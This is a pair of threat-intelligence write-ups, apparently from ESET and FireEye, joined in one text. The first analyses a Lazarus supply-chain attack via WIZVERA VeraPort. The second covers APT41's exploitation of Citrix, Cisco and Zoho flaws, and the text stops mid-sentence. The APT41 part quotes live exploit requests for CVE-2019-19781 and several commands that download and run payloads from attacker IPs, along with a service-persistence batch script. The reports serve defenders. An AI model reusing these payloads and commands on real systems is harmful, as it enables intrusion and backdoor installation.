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Lazarus supply-chain attack in South Korea
welivesecurity.com/2020/11/16/lazarus-supply-chain-attack-south-korea
ESET telemetry data recently led our researchers to discover attempts to deploy Lazarus malware via a supply-chain attack in
South Korea. In order to deliver its malware, the attackers used an unusual supply-chain mechanism, abusing legitimate South
Korean security software and digital certificates stolen from two different companies.
Lazarus toolset
The Lazarus group was first identified in Novetta
s report Operation Blockbuster in February 2016; US-CERT and the FBI call
this group HIDDEN COBRA. These cybercriminals rose to prominence with the infamous case of cybersabotage against Sony
Pictures Entertainment.
Some of the past attacks attributed to the Lazarus group attracted the interest of security researchers who relied on Novetta et
s white papers with hundreds of pages describing the tools used in the attacks
the Polish and Mexican banks, the
WannaCryptor outbreak, phishing campaigns against US defense contractors, Lazarus KillDisk attack against Central
American casino, etc.
and provides grounds for the attribution of these attacks to the Lazarus group.
Note that the Lazarus toolset (i.e., the collection of all files that are considered by the security industry as fingerprints of the
group
s activity) is extremely broad, and we believe there are numerous subgroups. Unlike toolsets used by some other
cybercriminal groups, none of the source code of any Lazarus tools has ever been disclosed in a public leak.
Latest Lazarus supply-chain attack
To understand this novel supply-chain attack, you should be aware that South Korean internet users are often asked to install
additional security software when visiting government or internet banking websites.
WIZVERA VeraPort, referred to as an integration installation program, is a South Korean application that helps manage such
additional security software. With WIZVERA VeraPort installed on their devices, users receive and install all necessarily
software required by a specific website with VeraPort (e.g., browser plug-ins, security software, identity verification software,
etc.). Minimal user interaction is required to start such a software installation from a website that supports WIZVERA VeraPort.
Usually, this software is used by government and banking websites in South Korea. For some of these websites it is mandatory
to have WIZVERA VeraPort installed for users to be able to access the sites
services.
Figure 1. A WIZVERA VeraPort window displayed to the user when installing additional software
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The Lazarus attackers abused the above-mentioned mechanism of installing security software in order to deliver Lazarus
malware from a legitimate but compromised website. However, it should be noted that a successful malware deployment using
this method requires a number of preconditions; that
s why it was used in limited Lazarus campaigns. To make this attack
possible:
the victim must have WIZVERA VeraPort software installed
the victim must visit a compromised website that already has support for WIZVERA VeraPort
this website must have specific entries in its VeraPort configuration file that allows attackers to replace regular software in
its VeraPort software bundle with their malware.
It is important to note that, based on our analysis, we believe that these supply-chain attacks happen at websites that use
WIZVERA VeraPort, rather than at WIZVERA itself.
Websites that support WIZVERA VeraPort software contain a server-side component, specifically some JavaScripts and a
WIZVERA configuration file. The configuration file is base64-encoded XML containing the website address, a list of software to
install, download URLs, and other parameters.
Figure 2. An example of a WIZVERA VeraPort configuration (redacted by ESET)
These configuration files are digitally signed by WIZVERA. Once downloaded, they are verified using a strong cryptographic
algorithm (RSA), which is why attackers can
t easily modify the content of these configuration files or set up their own fake
website. However, the attackers can replace the software to be delivered to WIZVERA VeraPort users from a legitimate but
compromised website. We believe this is the scenario the Lazarus attackers used.
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Figure 3. Simplified scheme of the WIZVERA supply-chain attack conducted by the Lazarus group
It should be noted that WIZVERA VeraPort configurations contain an option to verify the digital signature of downloaded
binaries before they are executed, and in most cases this option is enabled by default. However, VeraPort only verifies that the
digital signature is valid, without checking to whom it belongs. Thus, to abuse WIZVERA VeraPort, attackers must have any
valid code-signing certificate in order to push their payload via this method or get lucky and find a VeraPort configuration that
does not require code-signing verification.
So far, we have observed two malware samples that were delivered using this supply-chain attack and both were signed:
SHA-1
Filename
Digital signature
3D311117D09F4A6AD300E471C2FB2B3C63344B1D
Delfino.exe
ALEXIS SECURITY GROUP, LLC
3ABFEC6FC3445759730789D4322B0BE73DC695C7
MagicLineNPIZ.exe
DREAM SECURITY USA INC
The attackers used illegally obtained code-signing certificates in order to sign the malware samples. Interestingly, one of these
certificates was issued to the US branch of a South Korean security company.
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Figure 4. The ALEXIS SECURITY GROUP, LLC code-signing certificate used to sign Lazarus malware
Figure 5. The DREAM SECURITY USA INC code-signing certificate used to sign Lazarus malware
The attackers camouflaged the Lazarus malware samples as legitimate software. These samples have similar filenames, icons
and VERSIONINFO resources as legitimate South Korean software often delivered via WIZVERA VeraPort. Binaries that are
downloaded and executed via the WIZVERA VeraPort mechanism are stored in %Temp%\[12_RANDOM_DIGITS]\.
It should be noted that WIZVERA VeraPort
s configuration has an option not only to verify digital signatures, but also to verify
the hash of downloaded binaries. If this option is enabled, then such an attack cannot be performed so easily, even if the
website with WIZVERA VeraPort is compromised.
Attribution
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We strongly attribute this supply-chain attack to the Lazarus group, based on the following aspects:
1. Community agreement: The current attack is a continuation of what KrCERT has called Operation Bookcodes. While
KrCERT hasn
t attributed that campaign to the Lazarus group, Kaspersky did in their report about Q2 2020 APT trends.
2. Toolset characteristics and detection:
1. The initial dropper is a console application that requires parameters, executing the next stages in a cascade and
utilizes an encryption, cf. the watering hole attacks against Polish and Mexican banks
2. The final payload is a RAT module, with TCP communications and its commands indexed by 32-bit integers, cf.
KillDisk in Central America
3. Many tools delivered via this chain are already flagged as NukeSped by ESET software. For example, the signed
Downloader in the Analysis section is based on a project called WinHttpClient and it leads to the similar tool with
hash 1EA7481878F0D9053CCD81B4589CECAEFC306CF2, which we link with with a sample from Operation
Blockbuster (CB818BE1FCE5393A83FBFCB3B6F4AC5A3B5B8A4B). The connection between the latter two is the
dynamic resolution of Windows APIs where the names are XOR-encrypted by 0x23, e.g.,
dFWwLHFMjMELQNBWJLM is the encoding of GetTokenInformation.
3. Victimology: the Lazarus group has a long history of attacks against victims in South Korea like Operation Troy, including
DDoS attacks Ten Days of Rain in 2011, South Korean Cyberattacks in 2013, or South Korean cryptocurrency
exchanges targeted in 2017.
4. Network infrastructure: the server-side techniques of webshells and the organization of C&Cs are covered very precisely
in KrCERT
s white paper #2. The current campaign uses a very similar setup as well.
5. Eccentric approach:
1. In intrusion methods: The unusual method of infiltration is a clue that could be attributed to a sophisticated and
professionally organized actor like Lazarus. In the past, we saw how a vulnerability in software existing only in
specific networks was leveraged by this group, and not visible with any other APT actor. For example, the case of
A Strange Coinminer
delivered through the ManageEngine Desktop Central software.
2. In encryption methods: We saw a Spritz variant of RC4 in the watering hole attacks against Polish and Mexican
banks; later Lazarus used a modified RC4 in Operation In(ter)ception. In this campaign, it is a modified A5/1 stream
cipher that degrades to a single-byte XOR in many cases.
Malware analysis
It is a common characteristic of many APT groups, especially Lazarus, that they unleash their arsenal within several stages
that execute as a cascade: from the dropper to intermediate products (the Loader, serving as an injector) up to the final
payloads (the Downloader, the Module). The same is true for this campaign.
During our analysis we found similarities in code and architecture between Lazarus malware delivered via this WIZVERA
supply-chain attack and the malware described in the Operation BookCodes report (part one, part two) published by Korea
Internet & Security Agency this year.
Comparison with Operation BookCodes
Table 1. Common characteristics between two Lazarus operations
Parameter/
Campaign
Operation BookCodes
Via WIZVERA Vera Port
Location of
targets
South Korea
South Korea
Time
Q1-Q2 2020
Q2-Q3 2020
Methods of
compromise
Korean spearphishing email (link to download or
HWP attachment)
Watering hole website
Supply-chain attack
Filename of
the dropper
C:\Windows\SoftwareDistribution\Download\BIT[45digits].tmp
C:\Windows\SoftwareDistribution\Download\BIT388293.tmp
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Parameter/
Campaign
Operation BookCodes
Via WIZVERA Vera Port
Binary
configuration
file
perf91nc.inf (12000 bytes)
assocnet.inf (8348 bytes)
Loader
name
nwsapagentmonsvc.dll
Btserv.dll
iasregmonsvc.dll
RC4 key
1qaz2wsx3edc4rfv5tgb$%^&*!@#$
1q2w3e4r!@#$%^&*
Log file
%Temp%\services_dll.log
%Temp%\server_dll.log
Signed initial downloader
This is the Lazarus component delivered via the VeraPort hijack described earlier. The signed initial downloaders are Themidaprotected binaries, which download, decrypt and execute other payloads in memory, without dropping them to the disk. This
downloader sends an HTTP POST request to a hardcoded C&C server, decrypts the server
s answer using the RC4 algorithm,
and executes it in memory using its own loader for PE files.
Figure 6. The POST request made by the initial downloader
Interestingly, both discovered samples send a small, hardcoded ID in the body of the POST request: MagicLineNPIZ.gif or
delfino.gif.
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Figure 7. Scheme of the initial compromise
Dropper
This is the initial stage of the cascade. While one can
t see any polymorphism or obfuscation in the code, it encapsulates three
encrypted files in its resources. Moreover, it
s a console application expecting three parameters in an encrypted state: the
name of the first file (the Loader, Btserv.dll), the name of the second file (the Downloader, bcyp655.tlb), and the necessary
decryption key for the previous values (542).
BIT388293.tmp oJaRh5CUzIaOjg== aGlzejw/PyR+Zmg= 542
The extraction of resources is one of two main roles of the dropper; it does so in the %WINDOWS%\SYSTEM32 folder,
decrypting the Loader and preserving the encrypted state of the Downloader that will be decrypted just before being injected
into another process. It also drops the configuration file assocnet.inf that will later be leveraged by the final payloads, namely
the Downloader and the Module. Then it chooses a service by checking the following list of three legitimate service names
Winmgmt;ProfSvc;wmiApSrv; and injects the Downloader into the matched service using reflective DLL injection.
The file name of the Loader is stored in the following Windows registry value:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
Figure 8. The decompiled code of the dropper
Loader
This component is a Themida-protected file. We estimate the version of Themida to be 2.0-2.5, which agrees with KrCERT
report (page 20). The Loader serves as a simple injector that is looking for its injection parameters in the resources: the name
of the encrypted file and the decryption key, which is the string
. The instance delivered by the dropper looks for the file
bcyp655.tlb (the Downloader). It creates a mutex Global\RRfreshRA_Mutex_Object. The choice of the targeted service and the
injection method are the same as in the dropper.
Let us talk for a while about the encryption method used by the dropper and by this loader. The common key is the string
, which is initially provided as a command-line parameter to the Dropper and subsequently as a 3-byte encrypted
resource for the Loader. To expand a short master key to a larger expanded key (so-called key scheduling), the MD5 hash of
the string is computed, which is 7DCD340D84F762EBA80AA538B0C527F7. Then it takes first three double words, let's
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denote them A := 0x7DCD340D, B := 0x84f762EB, C:= 0xA80aa538. The length of an encrypted buffer is divided by 3, and
this is the number of iterations that transforms the initial sequence (A,B,C) into the proper key. In every iteration (X,Y,Z)
becomes (X^Y, Y^Z, X^Y^Z). Because the XOR operation (denoted ^) is commutative and transitive, and its square is zero,
which leaves everything unchanged, we can compute that after 8 iterations we get the identity, so the key could reach just 7
pairwise different states and is equal to the first 12 characters of the MD5 hash of "542" if the length is a multiple of 24.
What is interesting is how the remainder of the length division by 3 is treated. If the number of iterations was increased by this
remainder, then we would reach just another of the 7 states of the key. However, the twist is in the change of operation: ^ is
replaced with the OR operation in the code for the remainder. For example, the key with the remainder 1 becomes {FE F7 3A
F9 F7 D7 FF FD FF F7 FF FD} for one of the states (of (C, A^B, B^C) to be precise), so we get new possible transformations
of the key that tend to be more likely to be ones than zeroes.
That was the part preparing the key. The encryption algorithm itself looks like A5/1 at first glance. It was a secret technology
developed in 1987 and used in over-the-air communication privacy in the GSM cellular telephone standard until reverseengineered in 1999. The crucial part of the algorithm is three linear feedback shift registers (LFSRs). However, only the lengths
of LFSRs in the malware code coincide with the official implementation, not the constants.
Table 2. Comparison of crypto algorithms between malware and the official implementation
LFSR
Malware code
Official A5/1
Length: 19
Length: 19
Constants: 13, 16, 17, 18
Constants: 13, 16, 17, 18
Length: 22
Length: 22
Constants: 12, 16, 20, 21
Constants: 20, 21
Length: 23
Length: 23
Constants: 17,18,21,22
Constants: 7, 20, 21, 22
The decryption loop in each iteration basically derives a 1-byte XOR key for the corresponding byte of the encrypted buffer.
The purpose of LFSRs is that they could transform the key, so the whole process is much more complicated. But due to the
mentioned change of the operation, LFSRs would not affect it and the 1-byte XOR key remains the same for all iterations.
Downloader, aka WinHttpClient
The main downloader is dropped by the Dropper component under the bcyp655.tlb name and injected into one of the services
by the Loader. Its main purpose is to deliver additional stages onto the victim
s computers. The network protocol is based on
HTTP but requires several stages to establish a trusted connection.
The malware fingerprints the victim
s system: see Figure 9.
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Figure 9. The length of the buffer is 0x114 and contains campaign ID, local IP address, Windows version, processor version
(cf. KrCERT page 59, Figure [4-17])
The first step is authorization. After sending randomly generated, generic parameters code and id, the expected response
starts with <!DOCTYPE HTML PUBLIC Authentication En> followed by additional data delimited by a semicolon. However, in
the next POST request the parameters are already based on the victim
s IP. Because we didn
t know which victims were
targeted, during our investigation, we always received a
Not Found
reply, not the successful
Figure 10. Primary message exchange with C&C having generic parameters code and id
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Figure 11. Secondary message exchange with C&C having a specific parameter name
If the victim passes these introductory messages and the connection is acknowledged, then the decrypted response starts with
an interesting artifact: a keyword ohayogonbangwa!!. As a whole, we haven
t found that word on the internet, but the closest
meaning could be
Ohayo, Konbangwa
), which is
Good morning, good evening
in Japanese. From
this point, there are more messages that are exchanged, with the final exchange asking for an executable to load into memory.
Figure 12. Japanese artifact in the code
Module, the final RAT payload
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This is a RAT with a set of typical features used by the Lazarus group. The commands include operations on the victim
filesystem and the download and execution of additional tools from the attacker
s arsenal. They are indexed by 32-bit integers
and coincide with those reported by KrCERT on page 61.
Figure 13. Some of the commands supported by Module
Conclusion
Attackers are constantly trying to find new ways to deliver malware to target computers. Attackers are particularly interested in
supply-chain attacks, because they allow them to covertly deploy malware on many computers at the same time. In recent
years ESET researchers analyzed such cases as M.E.Doc, Elmedia Player, VestaCP, Statcounter, and the gaming industry.
We can safely predict that the number of supply-chain attacks will increase in the future, especially against companies whose
services are popular in specific regions or in specific industry verticals.
This time we analyzed how the Lazarus group used a very interesting approach to target South Korean users of WIZVERA
VeraPort software. As mentioned in our analysis, it
s the combination of compromised websites with WIZVERA VeraPort
support and specific VeraPort configuration options that allow attackers to perform this attack. Owners of such websites could
decrease the possibility of such attacks, even if their sites are compromised, by enabling specific options (e.g. by specifying
hashes of binaries in the VeraPort configuration).
Special thanks to D
vid G
and Peter Ko
For any inquiries, or to make sample submissions related to the subject, contact us at [email protected]
Indicators of Compromise (IoCs)
ESET detection names
Win32/NukeSped.HW
Win32/NukeSped.FO
Win32/NukeSped.HG
Win32/NukeSped.HI
Win64/NukeSped.CV
Win64/NukeSped.DH
Win64/NukeSped.DI
Win64/NukeSped.DK
Win64/NukeSped.EP
SHA-1 of signed samples
3D311117D09F4A6AD300E471C2FB2B3C63344B1D
3ABFEC6FC3445759730789D4322B0BE73DC695C7
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SHA-1 of samples
5CE3CDFB61F3097E5974F5A07CF0BD2186585776
FAC3FB1C20F2A56887BDBA892E470700C76C81BA
AA374FA424CC31D2E5EC8ECE2BA745C28CB4E1E8
E50AD1A7A30A385A9D0A2C0A483D85D906EF4A9C
DC72D464289102CAAF47EC318B6110ED6AF7E5E4
9F7B4004018229FAD8489B17F60AADB3281D6177
2A2839F69EC1BA74853B11F8A8505F7086F1C07A
8EDB488B5F280490102241B56F1A8A71EBEEF8E3
Code signing certificate serial numbers
00B7F19B13DE9BEE8A52FF365CED6F67FA
4C8DEF294478B7D59EE95C61FAE3D965
http://www.ikrea.or[.]kr/main/main_board.asp
http://www.fored.or[.]kr/home/board/view.php
https://www.zndance[.]com/shop/post.asp
http://www.cowp.or[.]kr/html/board/main.asp
http://www.style1.co[.]kr/main/view.asp
http://www.erpmas.co[.]kr/Member/franchise_modify.asp
https://www.wowpress.co[.]kr/customer/refuse_05.asp
https://www.quecue[.]kr/okproj/ex_join.asp
http://www.pcdesk.co[.]kr/Freeboard/mn_board.asp
http://www.gongsinet[.]kr/comm/comm_gongsi.asp
http://www.goojoo[.]net/board/banner01.asp
http://www.pgak[.]net/service/engine/release.asp
https://www.gncaf.or[.]kr/cafe/cafe_board.asp
https://www.hsbutton.co[.]kr/bbs/bbs_write.asp
https://www.hstudymall.co[.]kr/easypay/web/bottom.asp
Mutexes
Global\RRfreshRA_Mutex_Object
References
KrCERT/CC,
Operation BookCodes TTPs#1 Controlling local network through vulnerable websites
, English Translation, 1st
April 2020
KrCERT/CC,
Operation BookCodes TTPs#2
, Korean, 29th June
2020
P. K
lnai, M. Poslu
Lazarus Group: a mahjong game played in different sets of tiles
, Virus Bulletin 2018 (Montreal)
P. K
lnai:
Demystifying targeted malware used against Polish banks
, WeLiveSecurity, February 2017
P. K
lnai, A. Cherepanov
Lazarus KillDisks Central American casino
, WeLiveSecurity, April 2018
D. Breitenbacher, K. Osis:
Operation In(ter)ception: Aerospace and military companies in the crosshairs of cyberspies
, June
2020
Novetta et al,
Operation Blockbuster
, February 2016, https://www.operationblockbuster.com/resources
Marcus Hutchins,
How to accidentally stop a global cyber-attack
, May 2015
Kaspersky GReAT:
APT trends report Q2 2020
, July 2020
A. Kasza:
The Blockbuster Saga Continues
, Palo Alto Networks, August 2017
US-CERT CISA, https://us-cert.cisa.gov/northkorea
WeLiveSecurity:
Sony Pictures hacking traced to Thai hotel as North Korea denies involvement
, December 2014
R. Sherstobitoff, I. Liba. J. Walter:
Dissecting Operation Troy: Cyberespionage in South Korea
, McAfee
Labs, May 2018
McAfee Labs:
Ten Days of Rain
, July 2011
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Fireye/Mandiant:
Why Is North Korea So Interested in Bitcoin?
, September 2017
Choe Sang-Hun:
Computer Networks in South Korea Are Paralyzed in Cyberattacks
, March 2013
A5/1 stream cipher, Wikipedia
MITRE ATT&CK techniques
Note: This table was built using version 8 of the MITRE ATT&CK framework.
Tactic
Name
Description
Resource
Development
T1584.004
Compromise Infrastructure:
Server
The Lazarus group uses compromised servers as
infrastructure.
T1587.001
Develop Capabilities: Malware
The Lazarus group developed custom malware and malware
components.
T1588.003
Obtain Capabilities: Code
Signing Certificates
The Lazarus group obtained code-signing certificates.
Initial Access
T1195.002
Supply Chain Compromise:
Compromise Software Supply
Chain
The Lazarus group pushed this malware using a supply-chain
attack via WIZVERA VeraPort.
Execution
T1106
Native API
The Lazarus payload is executed using native API calls.
Persistence
T1547.005
Boot or Logon Autostart
Execution: Security Support
Provider
The Lazarus malware maintains persistence by installing an
SSP DLL.
Defense
Evasion
T1036
Masquerading
The Lazarus malware masqueraded as a South Korean
security software
T1027.002
Obfuscated Files or
Information: Software Packing
The Lazarus group uses Themida-protected malware.
T1055
Process Injection
The Lazarus malware injects itself in svchost.exe.
T1553.002
Subvert Trust Controls: Code
Signing
The Lazarus group used illegally obtained code-signing
certificates to sign the initial downloader used in this supplychain attack.
T1071.001
Application Layer Protocol:
Web Protocols
The Lazarus malware uses HTTP for C&C.
T1573.001
Encrypted Channel:
Symmetric Cryptography
The Lazarus malware uses the RC4 algorithm to encrypt its
C&C communications.
T1041
Exfiltration Over C2 Channel
The Lazarus malware exfiltrates data over the C&C channel.
Command
and Control
Exfiltration
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This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using
Multiple Exploits
fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html
Beginning this year, FireEye observed Chinese actor APT41 carry out one of the broadest campaigns by a Chinese cyber
espionage actor we have observed in recent years. Between January 20 and March 11, FireEye observed APT41 attempt
to exploit vulnerabilities in Citrix NetScaler/ADC, Cisco routers, and Zoho ManageEngine Desktop Central at over 75
FireEye customers. Countries we
ve seen targeted include Australia, Canada, Denmark, Finland, France, India, Italy,
Japan, Malaysia, Mexico, Philippines, Poland, Qatar, Saudi Arabia, Singapore, Sweden, Switzerland, UAE, UK and USA.
The following industries were targeted: Banking/Finance, Construction, Defense Industrial Base, Government,
Healthcare, High Technology, Higher Education, Legal, Manufacturing, Media, Non-profit, Oil & Gas, Petrochemical,
Pharmaceutical, Real Estate, Telecommunications, Transportation, Travel, and Utility. It
s unclear if APT41 scanned the
Internet and attempted exploitation en masse or selected a subset of specific organizations to target, but the victims
appear to be more targeted in nature.
Exploitation of CVE-2019-19781 (Citrix Application Delivery Controller [ADC])
Starting on January 20, 2020, APT41 used the IP address 66.42.98[.]220 to attempt exploits of Citrix Application Delivery
Controller (ADC) and Citrix Gateway devices with CVE-2019-19781 (published December 17, 2019).
Figure 1: Timeline of key events
The initial CVE-2019-19781 exploitation activity on January 20 and January 21, 2020, involved execution of the command
file /bin/pwd
, which may have achieved two objectives for APT41. First, it would confirm whether the system was
vulnerable and the mitigation wasn
t applied. Second, it may return architecture-related information that would be required
knowledge for APT41 to successfully deploy a backdoor in a follow-up step.
One interesting thing to note is that all observed requests were only performed against Citrix devices, suggesting APT41
was operating with an already-known list of identified devices accessible on the internet.
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POST /vpns/portal/scripts/newbm.pl HTTP/1.1
Host: [redacted]
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
NSC_NONCE: nsroot
NSC_USER: ../../../netscaler/portal/templates/[redacted]
Content-Length: 96
url=http://example.com&title=[redacted]&desc=[% template.new('BLOCK' = 'print `file /bin/pwd`') %]
Figure 2: Example APT41 HTTP traffic exploiting CVE-2019-19781
There is a lull in APT41 activity between January 23 and February 1, which is likely related to the Chinese Lunar New
Year holidays which occurred between January 24 and January 30, 2020. This has been a common activity pattern by
Chinese APT groups in past years as well.
Starting on February 1, 2020, APT41 moved to using CVE-2019-19781 exploit payloads that initiate a download via the
File Transfer Protocol (FTP). Specifically, APT41 executed the command
/usr/bin/ftp -o /tmp/bsd ftp://test:
[redacted]\@66.42.98[.]220/bsd
, which connected to 66.42.98[.]220 over the FTP protocol, logged in to the FTP server
with a username of
test
and a password that we have redacted, and then downloaded an unknown payload named
(which was likely a backdoor).
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Accept-Encoding: identity
Content-Length: 147
Connection: close
Nsc_User: ../../../netscaler/portal/templates/[redacted]
User-Agent: Python-urllib/2.7
Nsc_Nonce: nsroot
Host: [redacted]
Content-Type: application/x-www-form-urlencoded
url=http://example.com&title=[redacted]&desc=[% template.new('BLOCK' = 'print `/usr/bin/ftp -o /tmp/bsd ftp://test:
[redacted]\@66.42.98[.]220/bsd`') %]
Figure 3: Example APT41 HTTP traffic exploiting CVE-2019-19781
We did not observe APT41 activity at FireEye customers between February 2 and February 19, 2020. China initiated
COVID-19 related quarantines in cities in Hubei province starting on January 23 and January 24, and rolled out
quarantines to additional provinces starting between February 2 and February 10. While it is possible that this reduction in
activity might be related to the COVID-19 quarantine measures in China, APT41 may have remained active in other ways,
which we were unable to observe with FireEye telemetry. We observed a significant uptick in CVE-2019-19781
exploitation on February 24 and February 25. The exploit behavior was almost identical to the activity on February 1,
where only the name of the payload
changed.
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POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Accept-Encoding: identity
Content-Length: 145
Connection: close
Nsc_User: ../../../netscaler/portal/templates/[redacted]
User-Agent: Python-urllib/2.7
Nsc_Nonce: nsroot
Host: [redacted]
Content-Type: application/x-www-form-urlencoded
url=http://example.com&title= [redacted]&desc=[% template.new('BLOCK' = 'print `/usr/bin/ftp -o /tmp/un ftp://test:
[redacted]\@66.42.98[.]220/un`') %]
Figure 4: Example APT41 HTTP traffic exploiting CVE-2019-19781
Citrix released a mitigation for CVE-2019-19781 on December 17, 2019, and as of January 24, 2020, released permanent
fixes for all supported versions of Citrix ADC, Gateway, and SD-WAN WANOP.
Cisco Router Exploitation
On February 21, 2020, APT41 successfully exploited a Cisco RV320 router at a telecommunications organization and
downloaded a 32-bit ELF binary payload compiled for a 64-bit MIPS processor named
(MD5:
155e98e5ca8d662fad7dc84187340cbc). It is unknown what specific exploit was used, but there is a Metasploit module
that combines two CVE
s (CVE-2019-1653 and CVE-2019-1652) to enable remote code execution on Cisco RV320 and
RV325 small business routers and uses wget to download the specified payload.
GET /test/fuc
HTTP/1.1
Host: 66.42.98\.220
User-Agent: Wget
Connection: close
Figure 5: Example HTTP request showing Cisco RV320 router downloading a payload via wget
66.42.98[.]220 also hosted a file name http://66.42.98[.]220/test/1.txt. The content of 1.txt (MD5:
c0c467c8e9b2046d7053642cc9bdd57d) is
cat /etc/flash/etc/nk_sysconfig
, which is the command one would execute on
a Cisco RV320 router to display the current configuration.
Cisco PSIRT confirmed that fixed software to address the noted vulnerabilities is available and asks customers to review
the following security advisories and take appropriate action:
Cisco Small Business RV320 and RV325 Routers Information Disclosure Vulnerability
Cisco Small Business RV320 and RV325 Routers Command Injection Vulnerability
Exploitation of CVE-2020-10189 (Zoho ManageEngine Zero-Day Vulnerability)
On March 5, 2020, researcher Steven Seeley, published an advisory and released proof-of-concept code for a zero-day
remote code execution vulnerability in Zoho ManageEngine Desktop Central versions prior to 10.0.474 (CVE-202010189). Beginning on March 8, FireEye observed APT41 use 91.208.184[.]78 to attempt to exploit the Zoho
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ManageEngine vulnerability at more than a dozen FireEye customers, which resulted in the compromise of at least five
separate customers. FireEye observed two separate variations of how the payloads (install.bat and storesyncsvc.dll) were
deployed. In the first variation the CVE-2020-10189 exploit was used to directly upload
logger.zip
, a simple Java based
program, which contained a set of commands to use PowerShell to download and execute install.bat and
storesyncsvc.dll.
java/lang/Runtime
getRuntime
()Ljava/lang/Runtime;
Xcmd /c powershell $client = new-object
System.Net.WebClient;$client.DownloadFile('http://66.42.98[.]220:12345/test/install.bat','C:\
Windows\Temp\install.bat')&powershell $client = new-object
System.Net.WebClient;$client.DownloadFile('http://66.42.98[.]220:12345/test/storesyncsvc.dll','
C:\Windows\Temp\storesyncsvc.dll')&C:\Windows\Temp\install.bat
'(Ljava/lang/String;)Ljava/lang/Process;
StackMapTable
ysoserial/Pwner76328858520609
Lysoserial/Pwner76328858520609;
Figure 6: Contents of logger.zip
Here we see a toolmark from the tool ysoserial that was used to create the payload in the POC. The string
Pwner76328858520609 is unique to the POC payload, indicating that APT41 likely used the POC as source material in
their operation.
In the second variation, FireEye observed APT41 leverage the Microsoft BITSAdmin command-line tool to download
install.bat (MD5: 7966c2c546b71e800397a67f942858d0) from known APT41 infrastructure 66.42.98[.]220 on port 12345.
Parent Process: C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe
Process Arguments: cmd /c bitsadmin /transfer bbbb http://66.42.98[.]220:12345/test/install.bat
C:\Users\Public\install.bat
Figure 7: Example FireEye Endpoint Security event depicting successful CVE-2020-10189 exploitation
In both variations, the install.bat batch file was used to install persistence for a trial-version of Cobalt Strike BEACON
loader named storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f).
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@echo off
set "WORK_DIR=C:\Windows\System32"
set "DLL_NAME=storesyncsvc.dll"
set "SERVICE_NAME=StorSyncSvc"
set "DISPLAY_NAME=Storage Sync Service"
set "DESCRIPTION=The Storage Sync Service is the top-level resource for File Sync. It creates sync relationships with
multiple storage accounts via multiple sync groups. If this service is stopped or disabled, applications will be unable to
run collectly."
sc stop %SERVICE_NAME%
sc delete %SERVICE_NAME%
mkdir %WORK_DIR%
copy "%~dp0%DLL_NAME%" "%WORK_DIR%" /Y
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v "%SERVICE_NAME%" /t
REG_MULTI_SZ /d "%SERVICE_NAME%" /f
sc create "%SERVICE_NAME%" binPath= "%SystemRoot%\system32\svchost.exe -k %SERVICE_NAME%" type=
share start= auto error= ignore DisplayName= "%DISPLAY_NAME%"
SC failure "%SERVICE_NAME%" reset= 86400 actions= restart/60000/restart/60000/restart/60000
sc description "%SERVICE_NAME%" "%DESCRIPTION%"
reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /v "ServiceDll" /t
REG_EXPAND_SZ /d "%WORK_DIR%\%DLL_NAME%" /f
net start "%SERVICE_NAME%"
Figure 8: Contents of install.bat
Storesyncsvc.dll was a Cobalt Strike BEACON implant (trial-version) which connected to exchange.dumb1[.]com (with a
DNS resolution of 74.82.201[.]8) using a jquery malleable command and control (C2) profile.
GET /jquery-3.3.1.min.js HTTP/1.1
Host: cdn.bootcss.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://cdn.bootcss.com/
Accept-Encoding: gzip, deflate
Cookie: __cfduid=CdkIb8kXFOR_9Mn48DQwhIEuIEgn2VGDa_XZK_xAN47OjPNRMpJawYvnAhPJYM
DA8y_rXEJQGZ6Xlkp_wCoqnImDbj4DqdTNbj87Rl1kIvZbefE3nmNunlyMJZTrDZfu4EV6oxB8yKMJfLXydC5YF9OeZwqBSs3Tun12BVFWLI
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
Connection: Keep-Alive Cache-Control: no-cache
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Figure 9: Example APT41 Cobalt Strike BEACON jquery malleable C2 profile HTTP request
Within a few hours of initial exploitation, APT41 used the storescyncsvc.dll BEACON backdoor to download a secondary
backdoor with a different C2 address that uses Microsoft CertUtil, a common TTP that we
ve observed APT41 use in past
intrusions, which they then used to download 2.exe (MD5: 3e856162c36b532925c8226b4ed3481c). The file 2.exe was a
VMProtected Meterpreter downloader used to download Cobalt Strike BEACON shellcode. The usage of VMProtected
binaries is another very common TTP that we
ve observed this group leverage in multiple intrusions in order to delay
analysis of other tools in their toolkit.
GET /2.exe HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.3
Host: 91.208.184[.]78
Figure 10: Example HTTP request downloading
2.exe
VMProtected Meterpreter downloader via CertUtil
certutil -urlcache -split -f http://91.208.184[.]78/2.exe
Figure 11: Example CertUtil command to download
2.exe
VMProtected Meterpreter downloader
The Meterpreter downloader
TzGG
was configured to communicate with 91.208.184[.]78 over port 443 to download the
shellcode (MD5: 659bd19b562059f3f0cc978e15624fd9) for Cobalt Strike BEACON (trial-version).
GET /TzGG HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)
Host: 91.208.184[.]78:443
Connection: Keep-Alive
Cache-Control: no-cache
Figure 12: Example HTTP request downloading
TzGG
shellcode for Cobalt Strike BEACON
The downloaded BEACON shellcode connected to the same C2 server: 91.208.184[.]78. We believe this is an example of
the actor attempting to diversify post-exploitation access to the compromised systems.
ManageEngine released a short term mitigation for CVE-2020-10189 on January 20, 2020, and subsequently released an
update on March 7, 2020, with a long term fix.
Outlook
This activity is one of the most widespread campaigns we have seen from China-nexus espionage actors in recent years.
While APT41 has previously conducted activity with an extensive initial entry such as the trojanizing of NetSarang
software, this scanning and exploitation has focused on a subset of our customers, and seems to reveal a high
